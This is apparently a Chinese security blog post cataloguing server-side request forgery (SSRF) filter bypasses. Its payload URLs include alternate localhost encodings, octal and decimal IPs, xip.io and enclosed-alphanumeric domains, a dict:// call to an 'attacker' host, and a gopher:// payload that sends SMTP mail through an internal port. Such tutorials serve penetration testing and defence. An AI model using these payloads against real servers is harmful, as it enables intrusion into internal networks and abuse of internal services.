前言

1
2
3
昨天忘了在公众号还是微博上看到的了,看到一个SSRF绕过的技巧,使用的是
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
绕过的,自己也没遇到过。然后想想自己对SSRF绕过还是停留在之前的了解,也没学习过新的绕过方法,所以特意找了找资料,学习学习最新黑科技,充充能。


0x00 SSRF是什么


能精简的就不扯淡,一句话就是:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。


0x01 SSRF能干什么


  • 探测内网信息

  • 攻击内网或本地其他服务

  • 穿透防火墙

  • 。。。


0x02 SSRF怎么找

  • 能够对外发起网络请求的地方

  • 请求远程服务器资源的地方

  • 数据库内置功能

  • 邮件系统

  • 文件处理

  • 在线处理工具

  • 。。。



举几个例子:


  1. 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。

  2. 根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。

  3. 数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。

  4. 邮件系统就是接收邮件服务器地址这些地方。

  5. 文件就找ImageMagick,xml这些。

  6. 从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。


以上这些不是本文的重点,下面说下重点介绍的SSRF绕过的方法。


0x03 SSRF怎么绕

1、攻击本地


1
2
http://127.0.0.1:80
http://localhost:22


2、利用[::]


1
2
利用[::]绕过localhost
http://[::]:80/  >>>  http://127.0.0.1


也有看到利用http://0000::1:80/的,但是我测试未成功


3、利用@

1
http://example.com@127.0.0.1


4、利用短地址


1
http://dwz.cn/11SMa  >>>  http://127.0.0.1

5、利用特殊域名


利用的原理是DNS解析

1
http://127.0.0.1.xip.io/


1.png

1
http://www.owasp.org.127.0.0.1.xip.io/


2.png

6、利用DNS解析


在域名上设置A记录,指向127.0.1


3.png

7、利用上传


1
2
3
4
也不一定是上传,我也说不清,自己体会 -.-
修改"type=file""type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF


8、利用Enclosed alphanumerics


1
2
3
4
5
6
7
8
9
10
11
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ <img class="emoji" draggable="false" alt="Ⓜ" src="https://s.w.org/images/core/emoji/72x72/24c2.png"> Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿


4.png

9、利用句号

1
127。0。0。1  >>>  127.0.0.1


5.png

10、利用进制转换


1
2
3
4
5
可以是十六进制,八进制等。
115.239.210.26  >>>  16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x


9.png

1
http://127.0.0.1  >>>  http://0177.0.0.1/


6.png

1
http://127.0.0.1  >>>  http://2130706433/


7.png

1
2
http://192.168.0.1  >>>  http://3232235521/
http://192.168.1.1  >>>  http://3232235777/


8.png

11、利用特殊地址

1
http://0/


10.png

12、利用协议

1
2
3
4
5
6
7
8
9
10
11

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%

20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%

250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%25

0d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250

d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

13、使用组合

各种绕过进行自由组合即可


参考链接:

https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF

https://twitter.com/albinowax/status/890725759861403648

http://blog.safebuff.com/2016/07/03/SSRF-Tips/

https://hackerone.com/reports/115748

https://www.dailysecurity.fr/server-side-request-forgery/

https://twitter.com/EdOverflow

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection

http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf

http://byd.dropsec.xyz/2017/06/04/SSRF%E6%BC%8F%E6%B4%9E%E5%89%96%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/

http://blog.csdn.net/xinianbuxiu/article/details/53560417


脉搏文库 作者:w2n1ck